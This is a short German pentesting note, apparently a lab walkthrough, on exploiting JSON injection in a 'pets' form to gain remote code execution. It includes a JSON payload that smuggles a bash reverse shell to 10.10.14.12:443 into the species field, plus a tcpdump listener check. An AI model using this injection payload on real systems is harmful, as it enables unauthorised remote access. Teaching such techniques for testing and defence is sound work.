> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/json-web-token-jwt-attack/json-rce-pentesting-web.md).

# JSON RCE

<figure><img src="/files/71c00a8f828cf281663513a04dab9f2ede655904" alt=""><figcaption></figcaption></figure>

Wir haben die Möglichkeit, "pets" mit ihren Spezies hinzuzufügen, was eine JSON-Injection ermöglicht.

<figure><img src="/files/e6de618788b8e498ccffa286c445deb703a95b42" alt=""><figcaption></figcaption></figure>

Wir fangen die Anfragen mit Burp Suite ab und versuchen, die Anfrage zu manipulieren, indem wir einen Eintrag mit dem Namen und der Spezies hinzufügen:

<figure><img src="/files/e3bfb89587204e695abf26e28850062c2ac56992" alt=""><figcaption></figcaption></figure>

Dieser Eintrag wird interpretiert, was eine Injection ermöglicht.

```json
{
    "Name": "jordan",
    "Spezies": "jordan"
}

```

<figure><img src="/files/7a2d6dbcc9f86df6c98a54d98f939e6598973235" alt=""><figcaption></figcaption></figure>

Wir richten einen Listener für die ICMP-Pakete ein, um die Kommunikation zu beobachten und Command-Injection zu testen:

```bash
sudo tcpdump -i tun0 icmp

```

Wir erhalten einen Ping zurück, was die Möglichkeit der Remote-Befehlsausführung bestätigt.

<figure><img src="/files/56b4f6e54c8a6c4b65c59a6e706f36849ffde49d" alt=""><figcaption></figcaption></figure>

Dann senden wir eine Anfrage mit `curl` an unseren Python-Server und erhalten ebenfalls eine Anfrage, was die Schwachstelle Remote-Code-Ausführung bestätigt.

```bash
{
    "Name": "jordan",
    "Spezies": "test;bash -c \"bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261\""
}

```

<figure><img src="/files/09bd99fabfd67d5ebed97d23f8a759024cd011da" alt="" width="502"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/json-web-token-jwt-attack/json-rce-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
